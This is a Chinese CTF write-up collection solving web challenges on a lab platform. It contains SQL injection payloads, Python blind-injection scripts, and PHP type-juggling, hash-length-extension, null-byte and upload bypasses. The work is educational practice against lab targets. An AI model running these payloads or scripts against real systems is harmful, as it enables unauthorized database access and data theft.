ctf实验吧

台登陆

格式:flag:{xxx}

解题链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

注释里有源码,绕过就行

md5注入,

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

md5($password,true)将MD5值转化为了十六进制
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6'

提供一个字符串:ffifdyop

参考https://blog.csdn.net/qq_31481187/article/details/59727015

 

加了料的报错注入

flag格式:flag{xxx}

解题链接: http://ctf5.shiyanbar.com/web/baocuo/index.php

右键源码得到

 username的注入点:

                                (),会提醒User name unknow error.

                                -#:=被过滤

                                floor函数被过滤,其他报错函数正常

password的注入点:

                               -#:=被过滤

                              只有exp和name_const正常,其他报错函数被过滤,

那就有两种思路:

1,password处既可以用(),又可以用exp函数,具备了报错注入的条件。可以利用exp报错注入得到flag

2,在username处可以用报错函数,()被过滤。在password处可以用(),报错函数被过滤。sql注入里有一种就叫http分割注入,在不同的参数之间进行分割,到了数据库执行查询时再合并语句.出题人的意图就是左边不能出现括号,右边不能出现报错函数名.

payload:

username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '
这里username最后为 /* 而password最前面为*/  在拼接的时候就实现了/* */注释功能.

先试出一些waf:
substr  mid  left right union limit like

由于不能等号、like,于是借用regexp或者in代替等号,这里给的payload借用了regexp

第一种思路:

exp函数的报错公式select exp(~(select*from(select user())x)),select user()替换为相应的报错语句,

exp函数的用法解析参考:http://netsecurity.51cto.com/art/201508/489529.htm

报表名:

username=' or'1&password='or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x)))  or'

得到
DOUBLE value is out of range in 'exp(~((select 'ffll44jj,users' from dual)))'

报列名:

username=' or'1&password='or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')x)))  or'

得到
DOUBLE value is out of range in 'exp(~((select 'value' from dual)))'

也可以用in

username=' or'1&password='or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name in('ffll44jj'))x)))  or'

报内容:

username=' or'1&password='or (select exp(~(select*from(select value from ffll44jj)x)))  or'

得到flag

                
第二种思路:

select database(); #查选数据库 
select group_concat(schema_name) from information_schema.schemata;#查询数据库
select schema_name from information_schema.schemata limit 0,1  #查询数据库
select group_concat(table_name) from information_schema.tables where table_schema=database();#查询表
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表 
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

报错函数updataxml的公式:http://www.******.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(select database()),0x7e),1),select database()换成报错语句即可

报表名:

username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or'

得到
XPATH syntax error: '~ffll44jj,users~'

报列名:

username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or'

得到
XPATH syntax error: '~value~'

报内容:

username=' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or'

得到flag

参考:http://www.shiyanbar.com/ctf/writeup/4869

简单的sql注入

/*!关键字*/就可以绕过

报库名

' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='

得到

ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: information_schema
ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: test
ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: web1

报表名,

坑人作者过滤了关键词table_schema,不过还好双写可以绕过。

' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schtable_schemaema*/ = 'web1

得到

ID: ' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/ = 'web1
name: flag
ID: ' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/ = 'web1
name: web_1

报列名,

作者又过滤了和information_schema.columns,都是双写绕过。过滤column_name导致卡了好一会,因为过滤information_schema.columns是可以通过响应near 'from*/ /*!*/ /*!where*/ /*!table_name*/ = 'flag''很容易看出来的.而双写information_schema.columns后的响应near 'from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag''却需要对sql语言有一定的了解才知道错误出在column_name被过滤了,真正执行的查询语句是' /*!union*/ /*!select*/  /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag,

payload:' /*!union*/ /*!select*/ /*!column_nacolumn_nameme*/ /*!from*/ /*!information_scheminformation_schema.columnsa.columns*/ /*!where*/ /*!table_name*/ = 'flag

得到

ID: ' /*!union*/ /*!select*/ /*!column_name*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag
name: flag
ID: ' /*!union*/ /*!select*/ /*!column_name*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag
name: id

最后报内容

' /*!union*/ /*!select*/ /*!flag*/ /*!from*/ /*!flag*/ /*!where*/ ''='

得到flag

简单的sql注入之2

就是在简单的sql注入的基础上增加了对空格的过滤,用/**/即可绕过

简单的sql注入之3

就是一个报错注入,试了一下过滤了floor,updatexml,extractvalue这三个报错函数,用加了料的报错注入

介绍的exp函数即可。

报表名

'or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x)))  or'

得到

DOUBLE value is out of range in 'exp(~((select 'flag,web_1' from dual)))'

报列名

'or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp 'flag')x)))  or'

得到

DOUBLE value is out of range in 'exp(~((select 'flag,id' from dual)))'

报内容

'or (select exp(~(select*from(select flag from flag)x)))  or'

得到flag

因缺思汀的绕过

flag格式 CTF{}

解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php

源码审计题,查看了一下源码,大致逻辑就是: 先对post的数据进行过滤,过滤了一些关键词,然后用$uname组建sql语句查询,如果查询的数据只有一条,就用'=='比较post的密码和查询到的密码是否相等,相等返回flag
先用uname=admin&pwd=1试试,
返回  一颗赛艇!
通过源码,知道说明并不存在admin这个用户,
既然不知道用户名,那就只能想办法绕过,这里是用uname=1'||1 limit 1#&pwd=1,返回  亦可赛艇!
组合后的sql语句是:SELECT * FROM interest WHERE uname = '1'||1 limit 1#',

where 1返回所有数据,where 1 limit 1返回一条数据,#把多余的'注释掉,

uname=1'||1 limit 1 offset 1#&pwd=1 返回 亦可赛艇!
uname=1'||1 limit 1 offset 2#&pwd=1 返回  一颗赛艇!
说明只有两个用户。
接下来就是绕过pwd的比较,这里是用uname=1' || 1 group by pwd with rollup limit 1 offset 2#&pwd=绕过,

where 1返回所有数据,where 1 group by pwd ,对where 1得到的结果按pwd分组后返回,where 1 group by pwd with rollup 对where 1 group by pwd得到的结果再增加一行统计结果,关于with rollup见:https://blog.csdn.net/jiangnan2014/article/details/17229713

因为是按pwd分组的,所以增加的那一行的pwd为NULL,即类似这样:

+-------+-------+ 
| uname | pwd | 
+-------+-------+
| usr1 | ***** | 
| usr2 | ***** | 
| usr2 | NULL | 
+-------+-------+

然后where 1 group by pwd with rollup limit 1 offset 2是对where 1 group by pwd with rollup得到的结果取第三行,

最后看这里$key['pwd'] == $_POST['pwd']用的是 ==,根据弱类型,NULL和空字符串是相等的,这就是为何我们不给pwd穿参的原因

参考:http://www.shiyanbar.com/ctf/writeup/1208

 

认真一点!

一直都很认真的

解题链接: http://ctf5.shiyanbar.com/web/earnest/index.php

输入0显示you are not in

输入1 显示you are in

测试单字符waf得到#%,;^|

测试敏感字符得到sustr,union,and

输入0' or '1'='1显示sql detected.是什么被过滤了呐,单独的空格,or,',都不会引起sql detected,那就只能一点一点排除测试,最后发现是因为1 1这种格式被过滤了,那就不用空格,(空格的绕过:用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用.)     /**/失败了(最后证明'*'会被替换为空),用制表符是可以的,用回车是可以的,会返回you are in.因为题目的输入框是不能输入回车和tab键的,所以要在bp里修改请求

也就是输入0'%0aor%0a'1'='1,它会返回you are in.

           输入0'%0aor%0a'1'='2,它会返回you are not in.

那么我想用利用盲注来获取数据,为了方便盲注,我写了上面这两个payload的等价式:(为了方便观看,这里空格还是写成空格,真正提交请求的时候需要替换成回车.)

正常来说,上面这个payload应该返回you are in.下面这个返回you are not in.

但实际上两个payload都返回you are not in.

0' or '1'='1和0' or 1=1 or '1'='2两个逻辑上相等的payload居然有不同的结果..两个逻辑上相等的payload都被成功接收了,返回不同的结果。那就是它们的逻辑并没有被完全接受,换句话说就是它们的部分字符被更改了,导致查询语句真正接收到的并不是逻辑相同的语句.

测试发现是因为or被替换成空.需要用oorr代替or.

就是用回车去替换空格,用oorr替换or,利用

0' or 1=1 or '1'='2

0' or 1=2 or '1'='2

的响应不同来进行盲注.

报表名:

import requests
#url,range,id,data
def payload(rawstr):
    newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
    return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@'
for i in range(1,20):
    for j in dic:
        id="2' or ord((select mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1))={1} or '1'='2".format(i,ord(j))#我觉得加一个limit 1比较好,虽然不加也爆出了表名
        data={
            'id':payload(id)
        }
        s=requests.post(url=url,data=data)
        content=s.content
        length=len(content)
        if  length<692:
            string+=j
            break
    print(string)

报列名:

import requests
#url,range,id,data
def payload(rawstr):
    newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
    return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='@$.0123456789abcdefghijklmnopqrstuvwxyzLG'#dic=string.digits+string.ascii_letters+'!_{}@~.'
for i in range(1,20):
    for j in dic:
        id="2' or ord((select mid(group_concat(column_name separator '@') from {0} for 1) from information_schema.columns where table_name='fiag' limit 1))={1} or '1'='2".format(i,ord(j))#limit 1似乎不是必须的
        data={
            'id':payload(id)
        }
        s=requests.post(url=url,data=data)
        content=s.content
        if  'You are in' in str(content):
            string+=j
            break
    print(string)

报内容:

import requests
import string
#url,range,id,data
def payload(rawstr):
    newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
    return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string1=''
dic=string.digits+string.ascii_letters+'!_{}@~ .'
for i in range(1,20):
    for j in dic:
        id="2' or ord((select mid(group_concat(fL$4G separator '@') from {0} for 1) from fiag))={1} or '1'='2".format(i,ord(j))
        data={
            'id':payload(id)
        }
        s=requests.post(url=url,data=data)
        content=s.content
        if  'You are in' in str(content):
            string1+=j
            break
    print(string1)

你真的会PHP吗?

解题链接: http://ctf5.shiyanbar.com/web/PHP/index.php

源码审计,绕过一些php函数.

post的数据要含有number变量,number变量要满足以下三个条件:

1.在is_numeric() 看起来,必须不是数字

2.$_POST['number']必须等于strval(intval($_POST['number'])),其实就是说number必须是纯数字.

3.intval($_POST["number"])必须等于intval(strrev($_POST["number"])),并且is_palindrome_number($req["number"])要返回false.其实就是说用intval和strrev判断是回文,而用is_palindrome_number()判断却不是回文.

注:is_palindrome_number()是作者自己写的判断回文的函数.

 

is_numeric()函数是判断变量是否是数字或者数字字符串,不仅检查10进制,16进制也可以.
is_numeric()对于空字符%00,不论%00放在数字前后,都会返回false,对于%20,只有放在数字后才会返回false.

Intval函数获取变量整数数值
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

这个有个应用就是在判断数值是不是回文上,如果参数为2147483647,那么当它反过来,由于超出了限制,所以依然等于2147483647。即为回文

所以在bp里修改请求为number=2147483647%20即可.

登陆一下好吗??

不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

flag格式:ctf{xxxx}

解题链接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

万能密码:username=kkk'='&password=kkk'='

select * from user where username='用户名' and password='密码'

---->>select * from user where username='kkk'='' and password='kkk'=''

或者:

通过构造username=0爆出全部数据

这里我们要知道,除了开头是非零数的字符串,其他字符串化成整型都为0,字符串=0 为真。

当所有username里没有开头是非零数的字符串,username=0相当于查全部数据.

username=\&password=^'aaa

构成的语句是 select * from user where username = ' \' and password = '^'aaa'

其中反斜杠把后面的单引号转义掉了,所以' \' and password = '就是一串字符串,'aaa'也是一串字符串,字符串都为0,0⊕0=0,又构造出username=0

参考:http://www.shiyanbar.com/ctf/writeup/6008

 

who are you?

我要把攻击我的人都记录db中去!

解题链接: http://ctf5.shiyanbar.com/web/wonderkun/index.php

进去发现是记录ip,一般有CLIENT-IP,X-FORWARDED-FOR,REMOTE_ADDR
通过修改HTTP头中发现这里是获取X-FORWARDED-FOR,

修改X-Forwarded-For头为,1' and sleep(3) and '1'='1

进程比之前慢了三秒左右,这就很显然是个基于时间的盲注,试试比较普遍的,1' and if(1,sleep(3),sleep(0)) and '1'='1

发现过滤了',',不过没关系,试试另一个不用逗号的,1' and (select case when 1 then sleep(3) else sleep(0) end) and 'a'='a

成功延时,那就写个脚本

报表名:

import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_'
for i in range(1,33):
    for j in dic:
        xff="127' and (select case when (ord((select mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1)) = {1}) then sleep(3) else sleep(0) end) and 'a'='a".format(i,ord(j))
        headers={
            "Host": "ctf5.shiyanbar.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.shiyanbar.com/ctf/1941",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Cache-Control": "max-age=0",
            "X-Forwarded-For": xff
        }
        s=requests.post(url=url,headers=headers)
        sec=s.elapsed.seconds
        if sec > 3:
            string+=j
            break
    print (string)

报列名:

import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_`~!@#$%^&*()_+-=[]{};\:\'",/<>?/-+.'
for i in range(1,33):
    for j in dic:
        xff="127' and (select case when (ord((select mid(group_concat(column_name separator '@') from {0} for 1) from information_schema.columns where table_name='flag' limit 1)) = {1}) then sleep(5) else sleep(0) end) and 'a'='a".format(i,ord(j))
        headers={
            "Host": "ctf5.shiyanbar.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.shiyanbar.com/ctf/1941",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Cache-Control": "max-age=0",
            "X-Forwarded-For": xff
        }
        s=requests.post(url=url,headers=headers)
        sec=s.elapsed.seconds
        if sec > 5:
            string+=j
            break
    print (string)

报内容

import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_`~!@#$%^&*()_+-=[]{};\:\'",/<>?/-+.'
for i in range(1,38):
    for j in dic:
        xff="127' and (select case when (ord((select mid(flag from {0} for 1) from flag)) = {1}) then sleep(10) else sleep(0) end) and 'a'='a".format(i,ord(j))
        headers={
            "Host": "ctf5.shiyanbar.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://www.shiyanbar.com/ctf/1941",
            "Cookie": "PHPSESSID=urb8502qlulq604377sopeo0a6",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Cache-Control": "max-age=0",
            "X-Forwarded-For": xff
        }
        s=requests.post(url=url,headers=headers)
        sec=s.elapsed.seconds
        if sec > 10:
            string+=j
            break
    print (string)

就是答案要再加个ctf{},题目里没说.

天下武功唯快不破

看看响应头

格式:CTF{ }

解题链接: http://ctf5.shiyanbar.com/web/10/10.php

看看响应头得到 FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOlBNVE1XVUZHUQ==

base64解码得到:P0ST_THIS_T0_CH4NGE_FL4G:PMTMWUFGQ,    post这个到CH4NGE_FL4G,

CH4NGE_FL4G是什么我不知道,一直到解决这道题我也不知道.

按照惯例:源码,查看元素,bp看包,御剑扫描.

在查看元素时得到

用参数key,post你所发现的,这就很明显了,大概就是参数名是key,值是FLAG解码后的东西。写个脚本:

import requests
import base64
url="http://ctf5.shiyanbar.com/web/10/10.php"
s=requests.Session()
flag=s.get(url).headers['FLAG']
flag=base64.b64decode(flag)
flag=str(flag)
flag=flag.split(':')[1]#因为用':'切片后,得到的数据类似G5xo0UJpS'这种形式,所以再用单引号切片,得到G5xo0UJpS
flag=flag.split('\'')[0]
data={'key':flag}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8'))

让我进去

相信你一定能拿到想要的

Hint:你可能希望知道服务器端发生了什么。。

格式:CTF{}

解题链接: http://ctf5.shiyanbar.com/web/kzhan.php

大概就是查看源码,查看元素,bp看包没什么收获,

只能再看看题,看看有什么提示,

ctf实验吧_第1张图片

 

题目里说:If you have the correct credentials, log in below. If not, please LEAVE.

它是怎么知道我有没有正确的证书呐,又看了一遍请求头,响应头.发现了一个异于其他题的请求头:

cookie:source=0,然后就把0改为1试了下,得到了源码

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

关键的部分大概就是:

if (!empty($_COOKIE["getmein"]))
{
    if (urldecode($username) === "admin" && urldecode($password) != "admin")
    {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password)))
        {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else
        {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

 

$secret是未知的,md5($secret."adminadmin")是已知的,在$password不等于"admin"的前提下要求md5($secret . urldecode("admin" . $password)))等于$COOKIE["getmein"]的值,难点在哪呐,我只知道password等于"admin"的情况下,md5加密的结果.password等于其他值的情况下因为$secret是未知的,所以加密后的结果是不知道的,这里利用了Hash长度扩展攻击

深入理解hash长度扩展攻击(sha1为例) http://www.freebuf.com/articles/web/69264.html

科普哈希长度扩展攻击(Hash Length Extension Attacks) http://www.freebuf.com/articles/web/31756.html

讲解的最详细的应该是

《白帽子讲web安全》中的“Understanding MD5 Length Extension Attack”一节。

利用的时候需要在主动地控制md5操作流程中的一些输入值,所以需要清楚md5的操作流程,参考:

MD5算法详述及python实现 http://blog.csdn.net/adidala/article/details/28677393

这里也有现成的工具可以使用:

哈希长度扩展攻击的简介以及HashPump安装使用方法  http://www.cnblogs.com/pcat/p/5478509.html

哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法 http://www.cnblogs.com/pcat/p/7668989.html

 

拐弯抹角

如何欺骗服务器,才能拿到Flag?

格式:CTF{}

解题链接: http://ctf5.shiyanbar.com/indirection/

这道题打开链接后,就看到高亮的源码,简单看了理解下,就是分7个步骤判断URL是否满足条件,如果不满足就把$flag弄掉(后面的echo $flag你就看不到你想要的),这题比较温馨的是当你不满足条件就会看到Not Pass(作者蛮用心的)。
    如果是正常访问,$URL = $_SERVER['REQUEST_URI']; 这里$URL一般会得到/indirection/或者/indirection/index.php,这里的$_SERVER['REQUEST_URI']只会原封不动的显示网址的字符串(不会像$_SERVER['PHP_SELF']会对网址进行一次urldecode操作),所以要转义不太可能。通篇也没出现echo $URL;要注入也不太可能。
    于是,冷静分析下7个步骤,发现要过的话,需要满足不能出现./、\、大写或者其他符号、//、p.,而且要求末尾是/index.php,这6个步骤对于/indirection/index.php都可以满足,但是最后一条又告知不能等于/indirection/index.php,顿时就被泼了冷水- -。
    作为一个非Web狗表示压力大,中间的苦逼过程就不提了,我也是在本地构建php尝试写注入语句时发现一个php路径解析的问题,/test.php/pcat.html也是能正常访问/test.php,自我猜想就是服务器解析到.php后就把后面的/pcat.html当作参数处理。(>^ω^<)看到这里,你们可以想到了吧,第5步步骤只要求末尾是/index.php,那么我们构建/indirection/index.php/index.php不就ok?于是7个步骤都能通过,就可以得到flag。

    科普君:这种其实就是伪静态技术(pseudo-static),又名URL重写(URL rewriting)。举个最简单的应用,例如你原本想弄的是index.php?id=123,但你想隐藏其真实的文件路径,你通过URL重写技术,可以达到访问test/123.html而实际上在访问index.php?id=123

转:http://www.shiyanbar.com/ctf/writeup/545

 

天网管理系统

天网你敢来挑战嘛

格式:ctf{ }

解题链接: http://ctf5.shiyanbar.com/10/web1/

在源码里找到:

 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0乘以10的无论多少次方都是0,所以相等

  • 0e开头的md5和原值:

  • s878926199a

  • 0e545993274517709034328855841020

  • s155964671a

  • 0e342768416822451524974117254469

所以username=s878926199a,得到/user.php?fame=hjkleffifer,访问得到

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

利用bool类型的true跟任意字符串可以弱类型相等,即


#得到OK[Finished in 0.3s]

所以序列化数组:array("user"=>true,"pass"=>true)

true,"pass"=>true);
$test2 = '';
$test2=serialize($test);
echo $test2;
?>
#得到a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

提交password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;}即可.

忘记密码了

找回密码

格式:SimCTF{ }

解题链接: http://ctf5.shiyanbar.com/10/upload/

查看源码,查看元素,得到一点信息:管理员邮箱:[email protected].编辑器是vim
直接在输入框提交[email protected],得到"邮件发到管理员邮箱了,你看不到的"
随便提交一个东西例如kk,得到"你邮箱收到的重置密码链接为 ./[email protected]&check=???????"
访问http://ctf5.shiyanbar.com/10/upload/[email protected]&check=???????,发现重定向到step1.php了,
那就用bp拦截,这样就能停留在step2了,但是此时的输入框如下:ctf实验吧_第2张图片

两个输入位,在第一个输入框提交kk,第二个输入框随便填.提示"you are not an admin",那就在第一个提交[email protected],得到fail,应该是因为第二个输入框token的值不对,
但我并没有方法能得到管理员的token.查看其他人的wp.

通过step1.php,处理程序我们知道是step2.php,最后是submit.php负责校验。

vim编辑器的特点是,可能产生临时文件,对于submit.php,产生的临时文件是 .submit.php.swp。

我们打开http://ctf5.shiyanbar.com/10/upload/.submit.php.swp,可以看到最后判断逻辑的源代码。

注意到token就是0,并且还要绕过长度限制(要求长度为10)。

所以,访问[email protected]&token=0000000000

即可看到flag

那这道题考察的就是这一点:vim编辑器会产生临时文件,对于submit.php,产生的临时文件是 .submit.php.swp。

可以访问得到submit.php的源码

Once More

啊拉?又是php审计。已经想吐了。

hint:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。

格式:CTF{}

解题链接: http://ctf5.shiyanbar.com/web/more.php

源码如下:

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '

You password must be alphanumeric

';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('

*-* have not been found

');
        }
    }
    else
    {
        echo '

Invalid password

';
    }
}
?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false

ereg的漏洞大概如下:

ereg函数漏洞:00截断

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 || asd || 12as || 123%00&&&**,则返回值为true
其余为false

正常情况下这个式子是不可能满足的:if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

在这里是用科学技术法绕过,即1e9,这样既保证了长度小于8,数值也大于9999999

所以提交1e9%00*-*即可得到flag

Guess Next Session

写个算法没准就算出来了,23333

hint:你确定你有认真看判断条件?

格式:CTF{}

解题链接: http://ctf5.shiyanbar.com/web/Session.php

这个需要知道session变量的一些机制。简单的说就是,在客户端访问之前,如果该客户端以前没访问过,服务器就会给个phpsessid,同时在服务器上生成一个对应的文件,用来存储session变量.

源码中最重要的是这一行if ($_GET['password'] == $_SESSION['password'])

 为了绕过它,我们用bp抓包,提交password=,并且去掉我们的cookie.这样服务器认为我们是第一次访问该网站,$_SESSION['password']就是空.也就等于了同样为空的password

总之这题考查了session的机制

FALSE

PHP代码审计

hint:sha1函数你有认真了解过吗?听说也有人用md5碰撞o(╯□╰)o

格式:CTF{}

解题链接: http://ctf5.shiyanbar.com/web/false.php

$_GET['name'] != $_GET['password']
sha1($_GET['name']) === sha1($_GET['password'])
#要求满足上述条件

md5 和 sha1 无法处理数组,返回 NULL,将变量namepassword加个[]即可

即:name[]=1&password[]=2

上传绕过

bypass the upload

格式:flag{}

解题链接: http://ctf5.shiyanbar.com/web/upload

请看:https://blog.csdn.net/zpy1998zpy/article/details/80545408#comments

启发:除了文件名,还能在文件保存路径处进行0x00截断.

这样,文件名1.jpg可以绕过检查,
文件保存时又是/uploads/1.php 1.jpg(空格代表0x00截断),对于服务器来说就是:/uploads/1.php,既绕过了对上传的文件名的检查,又在保存时保存成了想要的文件.

NSCTF web200

密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

格式:flag:{}

解题链接: http://ctf5.shiyanbar.com/web/web200.jpg

打开是这个

就是写个解密函数把密文解出来就行:

本地服务器,传参key=a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

即可

程序逻辑问题

绕过

解题链接: http://ctf5.shiyanbar.com/web/5/index.php

查看源码得到index.txt,访问得到源码.

看了源码以为是报错注入,就注入得到了用户名admin和密码111,但登录失败。仔细看看源码,发现

$pass = md5($_POST[pass]); if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) 

也就是说我输入pass=111,

最后比较的是strcasecmp(md5('111'), '111'),自然是不可能相等的,尝试了strcasecmp()函数的漏洞,即比较数组和字符串时会返回0,即认为相等,传入user=admin&pass[]=1,然而没用.大概是因为pass[]经过了md5()就不再是个数组了.

最后发现能通过union控制$row[pw]的结果,即user=' union select 'cb42e130d1471239a27fca6228094f0e&pass=kkk(cb42e130d1471239a27fca6228094f0e是kkkmd5加密后的结果)

$sql = "select pw from php where user='$user'";

这样查询语句就是select pw from php where user='' union select 'cb42e130d1471239a27fca6228094f0e'

union的前一个查询查不到东西,后一个返回cb42e130d1471239a27fca6228094f0e,原理:https://blog.csdn.net/u010104750/article/details/51141221

然后strcasecmp($pass, $row[pw])就是strcasecmp(md5('kkk'), 'cb42e130d1471239a27fca6228094f0e'),返回0,拿到flag

总结就是可以通过select 1 控制sql返回的结果

PHP大法

注意备份文件

解题链接: http://ctf5.shiyanbar.com/DUTCTF/index.php

源码:

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "

Access granted!

"; echo "

flag: *****************}

"; } ?>

看到eregi以为是00截断,试了id=%00hackerDJ,发现不行,仔细看看比平常多了一行

$_GET[id] = urldecode($_GET[id]);

又进行了一次urldecode解码,那就很明确了,把hackerDJ编码两次就绕过了.

id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41即可

这个看起来有点简单!

很明显。过年过节不送礼,送礼就送这个

格式:

解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1

